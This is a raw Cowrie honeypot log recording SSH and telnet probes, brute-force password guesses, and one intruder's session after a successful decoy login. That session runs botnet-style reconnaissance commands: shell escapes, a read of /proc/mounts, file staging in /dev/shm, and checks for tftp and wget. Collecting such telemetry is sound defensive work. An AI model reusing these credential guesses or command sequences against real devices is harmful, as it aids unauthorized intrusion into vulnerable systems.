{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:32.367188Z","src_ip":"194.113.233.25","session":"28dbab0b4b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.34186291694641,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:36.586558Z","src_ip":"152.42.224.71","session":"6ecfe8372158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.563594818115234,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:38.361407Z","src_ip":"152.42.224.71","session":"4c18540555ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52109,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a716842290","protocol":"ssh","message":"New connection: 152.42.212.128:52109 (159.203.135.109:22) [session: 70a716842290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:39.109600Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:39.114135Z","src_ip":"152.42.212.128","session":"70a716842290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:39.117724Z","src_ip":"152.42.212.128","session":"70a716842290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.88803839683533,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:44.216108Z","src_ip":"152.42.224.71","session":"3657043bb962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36079001426697,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:50.154285Z","src_ip":"152.42.224.71","session":"b1818d6fc9f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"6254abde972f","protocol":"ssh","message":"New connection: 43.156.28.136:47258 (159.203.135.109:22) [session: 6254abde972f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:54.179543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:54.183435Z","src_ip":"43.156.28.136","session":"6254abde972f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:54.412653Z","src_ip":"43.156.28.136","session":"6254abde972f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZqaz123","message":"login attempt [root/QAZqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:55.367673Z","src_ip":"43.156.28.136","session":"6254abde972f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46724,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3487cdb8cb0","protocol":"ssh","message":"New connection: 80.94.92.171:46724 (10.17.0.5:22) [session: f3487cdb8cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:55.954905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:56.267007Z","src_ip":"80.94.92.171","session":"f3487cdb8cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:56.271261Z","src_ip":"80.94.92.171","session":"f3487cdb8cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.92706108093262,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:56.317838Z","src_ip":"152.42.224.71","session":"3d4d346ef076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:56.604219Z","src_ip":"43.156.28.136","session":"6254abde972f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:57.890828Z","src_ip":"80.94.92.171","session":"f3487cdb8cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:28:59.058332Z","src_ip":"80.94.92.171","session":"f3487cdb8cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d738ae31b534","protocol":"telnet","message":"New connection: 152.42.224.71:47876 (10.17.0.5:23) [session: d738ae31b534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:01.355546Z"}
{"eventid":"cowrie.session.closed","duration":48.429619550704956,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:02.546044Z","src_ip":"152.42.224.71","session":"129c22a91d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":51242,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae701c6ccc2","protocol":"ssh","message":"New connection: 103.98.149.87:51242 (159.203.135.109:22) [session: 1ae701c6ccc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:02.566377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:02.581921Z","src_ip":"103.98.149.87","session":"1ae701c6ccc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:02.816708Z","src_ip":"103.98.149.87","session":"1ae701c6ccc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132435","message":"login attempt [root/132435] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:03.508058Z","src_ip":"103.98.149.87","session":"1ae701c6ccc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47886,"dst_ip":"10.17.0.5","dst_port":23,"session":"125307d17ab1","protocol":"telnet","message":"New connection: 152.42.224.71:47886 (10.17.0.5:23) [session: 125307d17ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:04.163837Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:04.989345Z","src_ip":"103.98.149.87","session":"1ae701c6ccc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38340,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc3703affa20","protocol":"telnet","message":"New connection: 152.42.224.71:38340 (10.17.0.5:23) [session: cc3703affa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:06.390256Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"544f1894a40e","protocol":"telnet","message":"New connection: 152.42.224.71:38642 (10.17.0.5:23) [session: 544f1894a40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:25.690141Z"}
{"eventid":"cowrie.session.closed","duration":84.67777442932129,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:26.453347Z","src_ip":"152.42.224.71","session":"cee8423e676e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62358,"dst_ip":"10.17.0.5","dst_port":22,"session":"8935c16ec82d","protocol":"ssh","message":"New connection: 167.172.81.52:62358 (10.17.0.5:22) [session: 8935c16ec82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:28.990762Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:28.996555Z","src_ip":"167.172.81.52","session":"8935c16ec82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:29.004485Z","src_ip":"167.172.81.52","session":"8935c16ec82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45350,"dst_ip":"10.17.0.5","dst_port":23,"session":"58d4a33ad38c","protocol":"telnet","message":"New connection: 152.42.224.71:45350 (10.17.0.5:23) [session: 58d4a33ad38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:31.201750Z"}
{"eventid":"cowrie.session.closed","duration":41.93182969093323,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:43.287035Z","src_ip":"152.42.224.71","session":"d738ae31b534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90011286735535,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:47.063843Z","src_ip":"152.42.224.71","session":"125307d17ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b18cfc3ac4","protocol":"telnet","message":"New connection: 152.42.224.71:54414 (10.17.0.5:23) [session: d9b18cfc3ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:54.225370Z"}
{"eventid":"cowrie.session.closed","duration":32.26455640792847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:57.954581Z","src_ip":"152.42.224.71","session":"544f1894a40e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.177902936935425,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:29:59.379548Z","src_ip":"152.42.224.71","session":"58d4a33ad38c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"d527ff030350","protocol":"telnet","message":"New connection: 152.42.224.71:47026 (10.17.0.5:23) [session: d527ff030350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:03.680911Z"}
{"eventid":"cowrie.session.closed","duration":57.305723667144775,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:03.695813Z","src_ip":"152.42.224.71","session":"cc3703affa20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.3002498149871826,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:03.981041Z","src_ip":"152.42.224.71","session":"d527ff030350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d0e27520e6","protocol":"telnet","message":"New connection: 152.42.224.71:46202 (10.17.0.5:23) [session: a5d0e27520e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:06.266821Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.165.187.23","src_port":40359,"dst_ip":"10.17.0.5","dst_port":23,"session":"a978599db69d","protocol":"telnet","message":"New connection: 213.165.187.23:40359 (10.17.0.5:23) [session: a978599db69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:09.998147Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw","message":"login attempt [root/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:10.433082Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888","message":"login attempt [root/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:10.856441Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"smcadmin","message":"login attempt [admin/smcadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.281527Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.338962Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.472986Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.480211Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.483908Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.488042Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.492491Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.499288Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox EFHNW","message":"CMD: cat /proc/mounts; /bin/busybox EFHNW","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.646569Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EFHNW","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EFHNW","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.790150Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox EFHNW","message":"CMD: tftp; wget; /bin/busybox EFHNW","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:11.925817Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.069418Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.077688Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox EFHNW","message":"CMD: /bin/busybox EFHNW","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.211706Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.221621Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.228339Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.231447Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5946e02eecca78147100189f3eca703bf660f0bf55ec7c7257f6734833a2a6e9","size":3466,"shasum":"5946e02eecca78147100189f3eca703bf660f0bf55ec7c7257f6734833a2a6e9","duplicate":false,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/5946e02eecca78147100189f3eca703bf660f0bf55ec7c7257f6734833a2a6e9 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.238403Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.260342597961426,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:12.258368Z","src_ip":"213.165.187.23","session":"a978599db69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff28cdec40d","protocol":"telnet","message":"New connection: 152.42.224.71:46214 (10.17.0.5:23) [session: 8ff28cdec40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:13.801624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f5dbd5be76","protocol":"telnet","message":"New connection: 152.42.224.71:33534 (10.17.0.5:23) [session: a9f5dbd5be76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:18.993354Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55854,"dst_ip":"159.203.135.109","dst_port":22,"session":"657f28856723","protocol":"ssh","message":"New connection: 103.183.114.55:55854 (159.203.135.109:22) [session: 657f28856723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:20.833007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:30:20.837985Z","src_ip":"103.183.114.55","session":"657f28856723","protocol":"ssh"}
